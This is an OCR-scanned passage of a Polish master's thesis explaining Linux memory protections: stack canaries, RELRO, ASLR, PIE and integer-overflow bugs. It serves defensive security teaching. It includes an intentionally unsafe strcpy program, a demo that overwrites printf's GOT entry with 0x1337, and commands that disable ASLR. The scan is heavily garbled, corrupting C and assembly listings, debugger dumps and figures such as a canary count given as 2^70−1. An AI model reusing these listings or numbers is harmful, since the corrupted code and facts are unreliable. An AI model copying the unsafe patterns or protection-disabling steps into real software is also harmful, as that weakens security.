
kanarek /ciastko bezpieczenistwa

zapisany wskaznik po-

czatku stosu (saved BP)

zapisany wskaznik in-

strukeji (saved IP)

argumenty funkcji

Wyzsze adresy: 0xFF...FF

Jako dodatkowe zabezpieczenie wartos¢ kanarka zaczyna si¢ od bajtu zerowego. Chroni to
przed sytuacjami, w ktorych wartos¢ kanarka mogta by wycieknaé np. podczas wykorzystywania
funkeji operujacych na tancuchach znakéw konczacych sie bajtem zerowym (np. printf, ktére
konczy wypisywaé tanicuch znakéw na bajcie zerowym, czy strcpy, ktére kopiuje dane az do
bajtu zerowego).

Fakt ten zmniejsza liczbe mozliwych wartosci kanarkéw do 23" 1= 16,777,215 dla progra-
méw 32-bitowych?® oraz 270 — 1 = 72,057,594, 037,927, 935 dla programéw 64-bitowych.

5.2.3. Ochrona przed przepelnieniem bufora na stosie w GCC

W kompilatorze GCC zabezpieczenie SSP mozna wlaczy¢ poprzez wykorzystanie flagi kom-
pilacji ~fstack-protector-all?.

Na listingu 5.2 przedstawiony zostat kod programu, ktéry zostal skompilowany poleceniem
gcc —fstack-protector—-all main.c.

Na listingu 5.3 przedstawiono zdeasemblowany kod z listingu 5.2 w programie IDA Pro.

3Tloé¢ mozliwosci wartosci kanarka w programach 32-bitowych jest na tyle mata, ze w przypadku niektérych
programéw lokalnych mozna prébowaé atakéw brute force (ang.) polegajacych na kolejnych prébach zgadnigcia

wartosci kanarka — np. w celu eskalacji uprawnien.
“Istnieja réwniez inne warianty tej flagi [31]. Wariant z sufiksem , all” spowoduje, ze zabezpieczenie to obejmie

wszystkie funkcje w danej jednostce kompilacji.
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Listing 5.2. Przykladowy program skompilowany z flaga —fstack-protector-all.

1 #include <stdio.h>

2 #include <string.h>

4 int main(int argc, charx argv[]) {

5 char buf[32];

6 size_t len;

7

8 strcpy (buf, argv(l]l); // wykorzystanie niebezpiecznej funkcji
9 len = strlen (buf); // (nie sprawdza ona rozmiaru bufora)

10

11 printf("len = %11lu, buf='%s'\n", len, buf);

Jak mozna zaobserwowaé program IDA Pro wys$wietla polozenie zmiennych na stosie. Zgodnie
z SSP argumenty przekazane do funkcji zostaty skopiowane do zmiennych lokalnych, bufor zostat
umieszczony jako ostatnia ze zmiennych lokalnych, a za nim znalaz! si¢ kanarek.

Uruchomienie przedstawionego programu mozna zobaczy¢ na listingu 5.4. Przekazanie do
programu wejécia przekraczajacego rozmiar bufora powoduje nadpisanie kanarka. Program wy-

krywa ten fakt i wykonuje funkcje ___stack_chk_fail, ktora przerywa jego dziatanie.
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Listing 5.3. Kod funkcji main z listingu 5.2 zdeasemblowany programem IDA Pro oraz zrefaktoryzowany

(nazwy zmiennych zostaly zamienione na odpowiadajace tym z kodu zrédlowego).

const char xxargv, const char xxenvp)

; potozenie zmiennych na stosie wzgledem ; RBP

dword ptr -44h ; sufiks 'h' oznacza liczbe heksadecymalng

; int __cdecl main(int argc,

; argv = gword ptr —-50h
; argc =

; len = gword ptr -38h
; buf = byte ptr —-30h

; stack_canary

push rbp ;
mov rbp, rsp ;
sub rsp, 50h ;
mov [rbptargc], edi ;
mov [rbptargv], rsi ;
mov rax, fs:28h ;
mov [rbpt+stack_canary], rax ;
XOr eax, eax ;
; (...) — pozostate instrukcje
mov rcx, [rbptstack_canary] ;
XOr rcx, fs:28h ;
jz short happy_path ;
call stack_chk_fail ;
happy_path:

leave

retn

gword ptr -8

prolog funkcji
prolog funkciji
prolog funkciji

skopiowanie argumentdw argc oraz argv

do zmiennych lokalnych
pobranie globalnej wartosci ciasteczka/kanarka

skopiowanie kanarka do zmiennej na stosie

wyzerowanie rejestru RAX, aby nie zawierat? kanarka

skopiowanie kanarka ze stosu do rejestru RCX

sprawdzenie poprawnej wartosci kanarka

w przypadku poprawnej wartosci, skok na koniec

wywotanie procedury konczacej program

; epilog funkciji
; epilog funkciji
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Listing 5.4. Uruchomienie programu z listingu 5.2. Drugie uruchomienie powoduje przepelnienie bufora

na stosie.

$ ./a.out abcd
len = 4, buf='abcd'

$ ./a.out aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
len = 48, buf='aaaabaaacaaadaaaecaaafaaagaaahaaaiaaajaaakaaalaaa'

*x* stack smashing detected *x*: ./a.out terminated

Jako ciekawostke na listingu 5.5 przedstawiono zdekompilowany kod programu. Jak mozna
zauwazy¢ operacje pobrania oraz inicjalizacji kanarka zostaly przez dekompilator zapisane w bar-
dzo specyficzny sposob. Nie wida¢ rowniez wywotania funkcji ___stack_chk_fail w razie detekcji
przepelnienia buforu na stosie. Dekompilator nie byl réwniez w stanie odgadnaé rozmiaru bufora

buf, przez co ustawil typ zmiennej buf na char — typ ten mozna oczywiscie zmienic.

Listing 5.5. Kod funkcji main z listingu 5.2 zdekompilowany przez IDA Pro Hex-Rays.

1 int __ cdecl main(int argc, const char xxargv, const char xxenvp) ({

2 size_t len; // [sp+18h] [bp-38h]@1

3 int result; // eax@1

4 __int64 v5; // rcx@1

5 char buf; // [sp+20h] [bp-30h]@1

6 __int64 stack_canary; // [sp+48h] [bp-8h]E1

7

8 stack_canary = *MK_FP(__FS__, 40LL); // inicjalizacja kanarka
9 strcpy (&buf, argv[l]);

10 len = strlen (&buf);

11 printf ("len = %11lu, buf='%s'\n", len, &buf, argv);

12 result = 0;

13 v5 = «MK_FP(__FS__, 40LL) ~ stack_canary; // weryfikacja wartosci kanarka
14 return result;

15 }
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5.2.4. Wys$wietlanie wartosci kanarka na stosie w GDB

Wartos¢ kanarka mozna wyséwietli¢ podczas debuggowania programu, wyswietlajac odpo-
wiedni rejestr lub wartosé ze stosu.

W tym celu mozna na przyktad zatrzymaé dzialanie programu po tym, jak wartos¢ kanarka
zostanie skopiowana do zmiennej lokalnej — przed wyzerowaniem rejestru, przechowujacego ja.
Dla wczesniej przedstawionego programu (z listingu 5.2, czy po deasemblacji 5.3) bedzie to ostat-

nia instrukcja (oznaczona strzaltka oraz pogrubiona):

0x4005e6 <main+15> mov rax, qgword ptr fs:[0x28]
0x4005ef <main+24> mov agword ptr [rbp - 8], rax
—-> 0x4005£f3 <main+28> xor eax, eax

W takiej sytuacji warto$¢ kanarka mozna poznaé¢ wypisujac warto$é rejestru:

pwndbg> info reg rax
rax 0x9dcel834fb107200 -7075691348722945536

Lub tez wypisujac warto$¢ znajdujaca sie¢ pod adresem RBP-8. W przypadku komendy
print GDB pozwala na okreslenie formatu, w jakim zostana wypisane dane — x okresla format
heksadecymalny. Sama dereferencje adresu — czyli wyluskanie spod niego wartosci — mozna prze-
prowadzi¢ korzystajac z sktadni rzutowania jezyka C, czy tez podajac typ wewnatrz nawiasow

klamrowych:

pwndbg> print/x x (unsigned long longx) ($Srbp-8)
$1 = 0x9dcel834£fb107200

pwndbg> print/x {unsigned long long} (Srbp-8)
$2 = 0x9dcel834fb107200
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5.2.5. Wyswietlanie wartosci wszystkich kanarkéw na stosie w GDB z Pwndbg

Wykorzystujac komende canary z Pwndbg mozna wyéwietli¢ — poza wartoécig AT_RANDOM?,
wartosci wszystkich kanarkéw znalezionych na stosieS.
Wynik dziatania komendy dla programu skompilowanego zZ flaga

-fstack-protector-all zawierajacego funkcje wywotana kilka razy rekurencyjnie

mozna zobaczy¢ na rysunku 5.4.

pwndbg= context disasm stack backtrace
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ DISASM 1

0x40050f <foo+8=> mov dword ptr [rbp - 8x14], edi
0x400512 <foo+ll=> mov rax, qword ptr fs:[@x28]
0x40051b <foo+20= mov qword ptr [rbp - 8], rax

0x40051f <foo+24> Xor eax, eax
0x400521 <foo+26= cmp dword ptr [rbp - 8x14], @
0x400525 <foo+30> je foo+45 <0x400534=>

1
0x400534 <foo+45> nop
0x400535 <foo+46> mov rax, qword ptr [rbp - 8]

00:0000| rbp rsp — 0x d5cO® —» OxTFFFFfff a“
0l:0008 —» «— 0x33486418458b4890

02:0010 «— 0x0

03:0018 <«— 0x500000000

04:0020 «— 0x0

05:0028 «— Bxf2a053d7b4216000

06:0030 — OXTTFfffffd5cO0 — 0Ox Fd5T0 —» Ox “—
07:0038 —» Bx400534 (foo+45) 4f8458b4890

08:0040 —» OXT7TFFfTffd5cO — 0Ox7 dsfo — Ox7 a“—
09:0048 <«— 0x600000000

Ba:0850 — Ox7ffff7ffe6ad — Ox7Tffff7ffaooe «— jg

0b:0858 «— Bxf2a053d7b4216000

0c:0060 — OXTTFFffffd5fO0 — OX7Fffffffd620 — Ox

0d: 0068 1 —» 0x400534 (foo+45) «— 0x334864T8458b4890

[ BACKTRACE 1
[°] 40050b foo+4

1 400534 foo+45
2 400534 foo+45
3 400534 foo+45
4 400534 foo+45
5
6
7
8

400534 foo+45

400534 foo+45

40056Cc main+33

7ffff7a5443a _ libc start main+234

Breakpoint foo

pwndbg> canary

AT RANDOM = Ox7fffffffdbl9 # points to (not masked) global canary value
Canary = @xf2a053d7b4216000

Found valid canaries on the stacks:

—h —h —h —h —h —h —h —h —h

00:0000 588 «— 0xf2a053d7b4216000
00:0000 «— Bxf2a053d7b4216000
00:0000 «— Bxf2a053d7b4216000
00:0000 15 +— Bxf2a053d7b4216000
00:0000 | 4— BxT2a053d7b4216000
00:0000 «— Bxf2a053d7b4216000
00:0000 3 «— 0xf2a053d7b4216000
pwndbg=>

Rysunek 5.4. Wyswietlanie kanarkéw na stosie w Pwndbg komenda canary.

SAT_RANDOM to jeden z wektoréw inicjalizacyjnych (ang. ELF auziliary vectors), ktére jadro systemu umiesz-

cza na stosie podczas tadowania programu [32].
SRozszerzenie komendy canary o wypisywanie wszystkich kanarkéw ze stosu zostato dodane do projektu

przez autora niniejszej pracy w Pull Request o numerze 305.
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5.3. RELRO

RELRO (ang. Relocation Read-Only) to sposéb ochrony (hardeningu) sekcji plikéw ELF
przechowujacych dane — miedzy innymi sekcji .got czy .got.plt. Istnieja dwa tryby pracy
dziatania RELRO — czesciowe (ang. partial) oraz pelne (ang. full) [33].

5.3.1. Czesciowe RELRO

Czeéciowe RELRO powoduje zmiane kolejnoéci sekcji danych pliku ELF tak, aby istotne
sekcje danych, przechowujace na przykltad adresy funkcji bibliotecznych — jak .got.plt czy
.got — zostaly umieszczone przed sekcjami przechowujacymi dane uzytkownika — na przyktad
.bss czy .data. Dodatkowo zmieniane sa uprawnienia globalnej tabeli offsetéw danych (zwykle
sekcji . got) — tak, aby byla ona tylko do odczytu.

Taki zabieg chroni przed sytuacjami gdy atakujacy moze nadpisa¢ pamieé¢, w ktorej znajduja
sie wazne z perspektywy dziatania programu dane — na przyktad nadpisujac dane znajdujace sie
w globalnej tabeli offsetéw poprzez przepelnienie bufora, ktéry znajdowalby sie w sekcji . data,
gdyby zostata ona umieszczona zaraz przed sekcja .got czy .got.plt.

Czesciowe RELRO mozna wiaczy¢ podczas kompilacji GCC dodajac flage -W1, -z, relro.
W wiekszosci z najnowszych dystrybucji Linuxa flaga ta dodawana jest automatycznie przy
kompilacji — mozna jg oczywiscie wylaczy¢.

Na listingu 5.6 zostal przedstawiony program w jezyku C, ktéry poshuzy pokazaniu dzialania
czedciowego RELRO.

Listing 5.6. Przykladowy program, ktéry pobiera konwertuje ciag podany jako pierwszy argument

programu do adresu, a nastepnie prébuje zapisaé co$ pod ten adres [33].

tinclude <stdio.h>

>lude <stdlib.h>

4 int main(int argc, charx argv[]) {

5 size_t+x p = (size_t«) strtol(argv[l], NULL, 16);
6

7 «p = 0x1337;

8

9 printf ("RELRO: %p\n", p);

10 }

W celu latwiejszego pokazania bledu program zostanie dodatkowo skompilowany z flaga
-no-pie ktéra wylaczy randomizacje sekcji kodu — PIE (opisane w sekcji 5.5). Kompilacje
oraz zabezpieczenie RELRO wynikowego pliku ELF programu z listingu 5.6 mozna zobaczy¢

ponizej. Ponizsze komendy wykonano na systemie Arch Linux z kompilatorem GCC w wer-
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sji 7.1.1 20170630.

// Kompilacja programu z wylaczeniem relro
$ gcc -no-pie -W1l,-z,norelro main.c && checksec ./a.out 2>&1 | grep RELRO

RELRO: No RELRO

// Kompilacja programu - bez podawania flagi do RELRO
$ gcc -no-pie main.c && checksec ./a.out 2>&1 | grep RELRO
RELRO: Partial RELRO

// Kompilacja programu - z flaga czesSciowego RELRO
$ gcc -no-pie -Wl,-z,relro main.c && checksec ./a.out 2>&l | grep RELRO
RELRO: Partial RELRO

Nastepnie pobierzemy adres funkcji print £ z globalnej tablicy offsetéw funkeji (sekeji . got .plt,
ktora powinna by¢ tylko do odezytu) i podamy go do programu $ledzac jego wykonanie w GDB.

$ readelf -r ./a.out | grep printf
000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0

$ gdb --quiet ./a.out

pwndbg> set context-sections '' // Wylacza wyswietlania kontekstu Pwndbg

Set which context sections are displayed by default (also controls order) to "'
pwndbg> run 0x601018

Starting program: /home/dc/master-thesis/examples/partial-relro/a.out 0x601018

Program received signal SIGSEGV, Segmentation fault.
0x0000000000001337 in 2?2 ()
Program received signal SIGSEGV (fault address 0x1337)

pwndbg> p/x S$rip
$1 = 0x1337 // Wskaznik instrukcji zostal ustawiony na 0x1337!

Jak mozna zobaczy¢ dziatanie programu zostato przerwanie bltedem odwotania si¢ oraz jed-
noczesnie proby wykonania instrukcji spod adresu 0x1337, gdyz na te wartosé¢ zmieniliSmy adres

funkcji printf w globalnej tablicy offsetéw funkcji.

5.3.2. Pelne RELRO

Pelne RELRO poza tym, co daje czeSciowe RELRO, taduje adresy funkcji z bibliotek dy-
namicznych do globalnej tablicy offsetéw funkcji (. got .plt) podczas uruchamiania programu.
Dodatkowo ustawia uprawnienia do pamigci przechowujacej te adresy na tylko do odczytu, co
zabezpiecza przed atakiem, ktéry polega na zmianie adreséw wpiséw w globalnej tablicy offsetow
w celu zmiany kontroli programu.

Wlaczenie  pelnego RELRO  polega na  kompilacji  programu z  flaga
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-Wl,-z,relro,-z,now. Na listingu 5.7 przedstawiono kompilacje programu wykonuja-
cego funkcje puts("Hello world") wraz z wynikiem testu checksec. Program ten zostal
rowniez przedstawiony na rysunku 5.5 wraz z sesja debuggera. Jak mozna zobaczy¢ na wyniku
deasemblacji wraz z emulacja adresu pod ktéry skacze program (polecenie u 0x100000550),
procedura linkujaca wykonuje skok bezposrednio do funkcji puts — nie laduje ona adresu

funkcji, jak zostato to przedstawione w sekcji 4.2.

Listing 5.7. Kompilacja programu z pelnym zabezpieczeniem RELRO oraz wynik skryptu checksec.

// Kompilacja programu z wiaczonym relro
$ gcc -g -Wl,-z,relro,-z,now main.c && checksec ./a.out 2>&l | grep RELRO
RELRO: Full RELRO

pwndbg= context code disasm code

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ SOURCE 1
1 #include <stdio.h>

2 // gcc -g -Wl,-z,relro,-z,now

3 int main() {

5 }
[ DISASM 1
0x10000066e <main+4= lea rdi, gword ptr [rip + @x9f]
0x100000550
0x10000067a <main+16> mov eax, 0
0x10000067f <main+21= pop rbp
0x100000680 <main+22> ret
0x100000681 nop word ptr cs:[rax + rax]
0x10000068b nop dword ptr [rax + rax]
0x100000690 < libc csu init= push  ril5

0x100000692 < libc csu init+2= push  ril4
0x100000694 < libc csu init+4= mov ri5, rdx
0x100000697 < libc csu init+7= push  ri13

[ SOURCE ]
1 #include <stdio.h=>

2 // gcc -g -Wl,-z,relro,-z,now

3 int main() {

5 }

pwndbg= u 8x100008550
jmp qword ptr [rip + @x280a7al] =@x7f2f6db7fafe=
1

Ox7f2f6db7f9fe <puts> push ris
Ox7f2f6db7fof2 <puts+2= push riz
Ox7f2f6db7f9f4 <puts+4= mov riz, rdi
Ox7f2f6db7fof7 <puts+7= push rbp
Ox7f2f6db7f9f8 <puts+8= push rbx
Ox7f2f6db7f9f9 <puts+9= sub rsp, 8
Ox7f2f6db7fofd <puts+13= call strlen =0x7f2f6db978a0=>
Ox7f2f6db7fa®2 <puts+18= mov rbp, qword ptr [rip + 8x336c5f] <@x7f2f6deb6668>
Ox7f2f6db7fa®9 <puts+25> mowv rbx, rax
Ox7f2f6db7fadc <puts+28= mov eax, dword ptr [rbp]
pwndbg> ]

Rysunek 5.5. Zatrzymanie programu przed wywolaniem funkcji puts. Program zostal skompilowany

poleceniem gcc -g -Wl,-z,relro, -z, now.

— 73 —
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5.4. Losowos$¢ ukladu przestrzeni adresowej

Losowos¢ ukladu przestrzeni adresowej (ang. Address Space Layout Randomisation) to tech-
nika utrudniajaca przeprowadzenie atakéw, ktére wykorzystuja informacje o rozmieszczeniu po-
szczegblnych obszaréw programu w przestrzeni adresowej procesu. Metoda ta polega na lado-
waniu kolejnych obszaréw pamieci pod losowymi adresami.

W  systemach Linux ASLR jest wbudowane w jadro systemu 1 moze by¢
w jednym =z 3 stanéw, ktory mozna sprawdzi¢ jak 1 ustawi¢ w pseudopliku
/proc/sys/kernel/randomize_va_space:

e 0 — wylaczony.

e 1 wlaczony — losowane bedg obszary stosu, danych, strona pamieci VDSO” oraz wspél-

dzielone obszary pamieci.

e 2 — wlaczony — poza tym co daje stan 1, dla niektérych obszaréw pamieci zwigksza liczbe
losowanych bitéw. W przypadku skompilowanych bez PIE (pelnej randomizacji przestrzeni
adresowej, opisanej w sekcji 5.5) randomizuje obszary pamieci, ktére zostaly zaalokowane
dynamicznie.

ASLR mozna réwniez tymczasowo wylaczy¢ dla danego programu (oraz programéw
uruchamianych przez niego) poprzez zmiane jego domeny wykonania (ang. personality).
Mozna to uzyska¢ wykorzystujac polecenie setarch ‘uname -m‘' --addr-no-randomize
/bin/bash.

Dziatanie ASLR mozna zaobserwowaé na przyklad wypisujac adres réznych obszaréw pamieci
— danych poprzez zmienna globalna, stosu poprzez zmienng lokalng oraz obszaru dynamicznie
zaalokowanego. Taki przykltad — dla programéw 64-bitowych — zostal zaprezentowany dla réznych

ustawien ASLR na listingu 5.9 wykorzystujac program z listingu 5.8.

5.4.1. paxtest

Dziatanie ASLR jak i inne metryki zwiazane z ochrona pamieci mozna zobaczy¢ wykorzystu-
jac program paxtest. Jest to zestaw dwdch rodzajow testéw. Pierwszy stuzy do sprawdzenia
czy istnieje mozliwos¢ wpisania do pamigci procesu kodu, a nastepnie jego wykonanie. Drugi
ma za zadanie zbadaé stopien losowoéci poszczegdlnych obszaréw pamieci tworzonych proce-
sOw, co pozwala zaobserwowa¢ dziatanie ASLR. W tabelach 5.1 oraz 5.2 zaprezentowano wyniki
kolejnych testéw paxtest przeprowadzonych dla réznych trybéw ASLR — 0, 1 oraz 2. Testy

zostaly przeprowadzone na systemie Arch Linux z jadrem systemu w wersji 4.12.4-1 [34].

"VDSO (ang. Virtual Dynamic Shared Object) — mechanizm jadra systemu polegajacy na wyeksportowaniu
niektérych funkcji z jadra systemu do przestrzeni uzytkownika dzieki czemu aplikacje moga wykonaé te funkcje,

nie tracac wydajnosci na zmiane kontekstu.
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Listing 5.8. Program wypisujacy adres zmiennej globalnej, lokalnej znajdujacej sie na stosie oraz adres

zaalokowanego obszaru pamieci.

1 #include <stdio.h>

2 #include <stdlib.h>

4 int global_var = 0;

5

6 int main () {

7 int stack_var = 0;

8 intx heap_var = malloc(100);

9

10 if (heap_var == NULL) {

11 perror ("Failed to allocate heap_var");
12 exit (1);

13 }

14

15 printf ("global = %p, stack = %p, heap = %p\n",
16 &global_var, &stack_var, heap_var);
17 }
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Listing 5.9. Kompilacja oraz wynik programu z listingu 5.8 dla réznych wartosci ustawienia ASLR.
Polecenie echo X | sudo tee /proc/sys/kernel/randomize_va_space ustawia dana warto$¢ ASLR.
Jak mozna zauwazyé, w przypadku ASLR=1 oraz ASLR=2 losowane sa bity znajdujace sic w srodku

adresu (poczatek oraz koniec adresu jest niezmienny). Komentarze zostaly oznaczone kolorem zielonym.

# Kompilacja oraz wyswietlenie zabezpieczen

$ gcc main.c && checksec ./a.out

[x] '/home/dc/Projects/master-thesis/examples/aslr/a.out'
Arch: amd64-64-1little

Stack: Canary found

NX: NX enabled

PIE: PIE enabled

# Wytaczamy ASLR, ASLR=0

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

0

$ for i in 1..5; do ./a.out; done; echo "";

global = 0x555555755044, stack = O0x7fffffffd454, heap = 0x555555756260
global = 0x555555755044, stack = Ox7fffffffd454, heap = 0x555555756260
global = 0x555555755044, stack = Ox7fffffffd454, heap = 0x555555756260
global = 0x555555755044, stack = 0x7fffffffd454, heap = 0x555555756260
global = 0x555555755044, stack = Ox7fffffffd454, heap = 0x555555756260

Ustawiamy ASLR=1

$ echo 1 | sudo tee /proc/sys/kernel/randomize_va_space

1

$ for i in 1..5; do ./a.out; done; echo "";

global = 0x5652de8a9044, stack = 0x7££f£82880d04, heap = 0x5652de8aa260
global = 0x5631173c6044, stack = 0x7ffd4d859%aa4, heap = 0x5631173c7260
global = 0x564a2b396044, stack = 0x7£f£fc903d3984, heap = 0x564a2b397260
global = 0x55903fbb6044, stack O0x7££d9f9c3364, heap = 0x559b3fbb7260
global = 0x55ba923£fd044, stack = 0x7ffebf53adc4, heap = 0x55ba923fe260

Ustawiamy ASLR=2

$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

2

$ for i in 1..5; do ./a.out; done; echo "";

global = 0x55f7a881c044, stack = 0x7ffeb84cf694, heap = 0x55f7a8cc4260
global = 0x55670a762044, stack = 0x7ffcf5af2894, heap = 0x55670c35e260
global = 0x55bleede3044, stack = 0x7ffe6fad9%ed4, heap = 0x55blef5fa260
global = 0x563436b67044, stack = 0x7ffd43cl35a4, heap = 0x5634385dc260
global = 0x55£851314044, stack = 0x7ffda49d8b34, heap = 0x55£852e25260
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Tabela 5.1. Wynik testow paxtest sprawdzajacych czy poszczegdlne obszary pamieci majg uprawnienia
do wykonania lub czy da sie je ustawi¢ wykorzystujac wywotanie systemowe mprotect. Ostatni z testow
sprawdza, czy istnieje mozliwo$¢ zapisu do segmentéw, w ktérych znajduje sie kod programu. Wynik
Killed oznacza, ze program zostal zakonczony, a zatem nie da sie wykonaé¢ kodu spod danego obszaru
pamieci. Vulnerable w testach mprotect oznacza, ze udalo sie zmieni¢ uprawnienia danego obszaru
— co potencjalnie méglby wykorzysta¢ atakujacy. Wynik tych testow okazal sig¢ taki sam niezaleznie
od trybu ASLR: 0, 1 oraz 2.

Test Wymnik
Executable anonymous mapping Killed
Executable bss Killed
Executable heap Killed
Executable stack Killed
Executable shared library bss Killed
Executable shared library data Killed
Executable anonymous mapping (mprotect) Vulnerable
Executable bss (mprotect) Vulnerable
Executable data (mprotect) Vulnerable
Executable heap (mprotect) Vulnerable
Executable stack (mprotect) Vulnerable

Executable shared library bss (mprotect)  Vulnerable

Executable shared library data (mprotect)  Vulnerable

Writable text segments Vulnerable
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Tabela 5.2. Wynik testéw paxtest szacujacych losowos¢ poszczegdlnych obszaréw pamieci w réznych
warunkach. ET_EXEC oznacza, ze test zostal przeprowadzony na pliku ELF nie bedacym dynamiczna bi-
blioteka oraz skompilowanym bez flagi wlaczajacej PIE.

Test ASLR=0 ASLR=1 ALSR=2
Anonymous mapping randomization test 28 28 28
Heap randomization test (ET_EXEC) 0 0 13
Heap randomization test (PIE) 0 28 28
Main executable randomization (ET EXEC) 0 0 0
Main executable randomization (PIE) 0 28 28
Shared library randomization test 28 28 28
VDSO randomization test 28 20 20
Stack randomization test (SEGMEXEC) 0 30 30
Stack randomization test (PAGEEXEC) 0 30 30
Arg/env randomization test (SEGMEXEC) 0 22 22
Arg/env randomization test (PAGEEXEC) 0 22 22
Offset to library randomisation (ET EXEC) 28 28 28
Offset to library randomisation (ET DYN) 28 29 29
Randomization under memory exhaustion @~0 28 28 29
Randomization under memory exhaustion @0 28 28 29
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5.5. Pelna randomizacja przestrzeni adresowej procesu

Oméwiony w poprzedniej sekcji ASLR nie zapewnia pelnej randomizacji przestrzeni adre-
sowej procesu — nie randomizuje adreséw gtéwnego programu czy sekcji kodu. Aby to osiagnaé
nalezy skompilowaé program z flaga —fpie (ktéry jest wlaczony domyslnie w najnowszych kom-
pilatorach). PIE (ang. Position Independent Ezxecutable) podobnie do PIC (ang. Position Inde-
pendent Code), uzywanego do bibliotek wspéldzielonych, powoduje, ze kompilator generuje kod,
ktéry bedzie dziataé¢ po umieszczeniu w dowolnym miejscu w pamieci. PIE do samego dziatania
wymaga wlaczonego ASLR. Dziatanie PIE mozna zobaczy¢ na listingu 5.11, ktory prezentuje
wynik uruchomienia programu z listingu 5.10 dla réznych ustawien i flag kompilacji — z PIE
z ASLR, z PIE bez ASLR oraz bez PIE. Przy wylaczonym ASLR adres main jest staly, a przy
wlaczonym zmienia sie¢ przy kolejnych uruchomieniach programu. Nie da sie za to skompilowaé
przedstawionego programu bez PIE, gdyz aby moéc korzysta¢ z adreséw funkcji wymagane jest
PIE lub PIC.

Listing 5.10. Program prezentujacy dziatanie PIE.

1 #include <stdio.h>

2 int main() { printf("%p, ", &main); }



5.5. Pelna randomizacja przestrzeni adresowej procesu

Listing 5.11. Wynik kompilacji oraz wykonania programu z listingu 5.10 dla réznych flag kompilacji

oraz ustawien ASLR.

$ gcc -fpie main.c

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0

$ for i in 1..4; do ./a.out; done; echo "";

0x10000068a, 0x10000068a, 0x10000068a, 0x10000068a,

$ echo 1 | sudo tee /proc/sys/kernel/randomize_va_space
1
$ for i in 1..4; do ./a.out; done; echo "";

0x4f74c8f68a, 0x9e658e868a, Oxafalcob68a, 0x2adf38c68a,

$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
2

$ for i in 1..4; do ./a.out; done; echo "";
Ox71baee768a, 0x154ddb768a, 0x2d9701c68a, 0x£f39cl068a,

$ gcc -fno-pie main.c # prdéba kompilacji bez PIE

# wylacza ASLR, ASLR=0

# ASLR=1

# ASLR=2

/usr/lib/gcc/x86_64-pc—linux-gnu/7.1.1/../../../../x86_64-pc-linux—gnu/bin/1d:

/tmp/ccx32n9B.o: relocation R_X86_64_32 against symbol
a shared object; recompile with -fPIC

‘main'

can not be used when making

/usr/lib/gcc/x86_64-pc-linux-gnu/7.1.1/../../../../x86_64-pc-linux—-gnu/bin/1d:

final link failed: Nonrepresentable section on output

collect2: error: 1d returned 1 exit status
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6.1. Niepoprawne wykorzystanie typow liczbowych

Podczas operowania na nich, mozna zapomnie¢ o ,nietypowych” sytuacjach, ktére wynikaja

z ich reprezentacji.

6.1.1. Liczby caltkowite

Niektore z btedow ktére mozna popelnié¢ podczas implementacji funkcji korzystajacych z liczb

catkowitych:

e wykorzystanie niepoprawnego typu — na przyktad liczby calkowitej ze znakiem zamiast
liczby catkowitej bez znaku. Innym przypadkiem popelnienia tego btedu moze tez byé¢ wy-
korzystywanie typu 32-bitowego zamiast 64-bitowego jako wynik dodawania lub mnozenia
dwdch liczb 32-bitowych.

e Drzielenie przez zero — taka sytuacja generuje sygnal SIGFPE.

e Dzielenie minimalnej ujemnej liczby danego typu calkowitego! przez —1 — taka sytuacja
generuje sygnal SIGFPE.

¢ Obliczanie wartosci bezwzglednej z najmniejszej liczby reprezentowanej przez dany typ cat-
kowity ze znakiem. Przykladowo w jezyku C zaréwno operacja abs (INT_MIN) jak i —INT_MIN
zwraca INT_MIN. Wynika to z faktu, ze zakres liczb reprezentowanych przez kodowanie ZU2

jest niesymetryczny — liczb ujemnych jest o jedna wigcej (co zostalo opisane w sekeji 2.6.1).

Ostatni z wymienionych bledéw wystepowal w kodzie odpowiedzialnym za dekodowanie plikow
BMP w przegladarce internetowej Mozilla Firefox 23 (dostepnej w roku 2013). W formacie
BMP zaréwno wysokosdé jak i szerokos¢ obrazka sa zapisywane jako 32-bitowe liczby catkowite
ze znakiem. W przypadku, gdy szerokos¢ obrazka jest ujemna, obrazek taki traktuje sie¢ jako
niepoprawny. W przypadku, gdy wysoko$¢ jest ujemna, kolejne wartosci pikseli znajdujace sie
w pliku traktuje si¢ jako zapisane od géry do dotu (oraz od lewej do prawej) zamiast od dotu
do gory. W przypadku przegladarki Mozilla, programisci wykorzystywali funkcje abs w celu
uzyskania nieujemnej wartosci wysokosci. Brakowalo obstugi sytuacji, w ktérej wysoko$é obrazu

byla réwna 1nT32_MIN?. W konsekwencji wejécie na strone internetowa, na ktérej znajdowal sie

W przypadku jezyka C istnieja makra definiujace takie liczby dla danych typéw — przyktadowo dla liczby

int jest to INT_MIN
2Cuzyli staty odpowiadajaca najmniejszej liczbie 32-bitowej (—(23') = —2147483648).
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specjalnie przygotowany obraz BMP powodowalo bledne zakonczenie dzialania przegladarki [35].
Problem ten zostal naprawiony poprzez dodanie obstugi ,nietypowej” wartosci wysokosci
poprzez traktowanie obrazu jako niepoprawnego. Dodane linie kodu zostaly zaprezentowane

na listingu 6.1.

Listing 6.1. Zmiana naprawiajaca blad wystepujacy w Mozilla Firefox. mBIH to struktura nagléwka

bitmapy, przechowujaca miedzy innymi szeroko$é¢ oraz wysokoscé.

if (mBIH.height == INT_MIN) {
PostDataError();

return;

W ramach ciekawostki mozna zobaczy¢ listingi 6.2 oraz 6.3. Prezentuja one kod w jezyku C
oraz jego kompilacje przy uzyciu GCC. Jak mozna zauwazy¢, kompilator jest w stanie ostrzec
programiste przed operacja -INT32_MIN czy INT32_MAx+1, ale przed abs (INT32_MIN), juz nie —

pomimo tego, ze jest to operacja wykonywana na stalej wartosci.

Listing 6.2. Kod w C w ktérym wystepuja trzy przepelnienia zakresu wartosci catkowite;j.
1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <stdint.h>

5 int main () {
6 printf ("%d %d %d\n", -INT32_MIN, abs (INT32_MIN), INT32_MAX+1);
7o}

Listing 6.3. Ostrzezenia kompilatora przed przepelnieniem wartoéci podczas kompilacji kodu z li-

stingu 6.2.

$ gcc -Wall -Wextra -Wpedantic main.c

main.c: In function ‘main’:

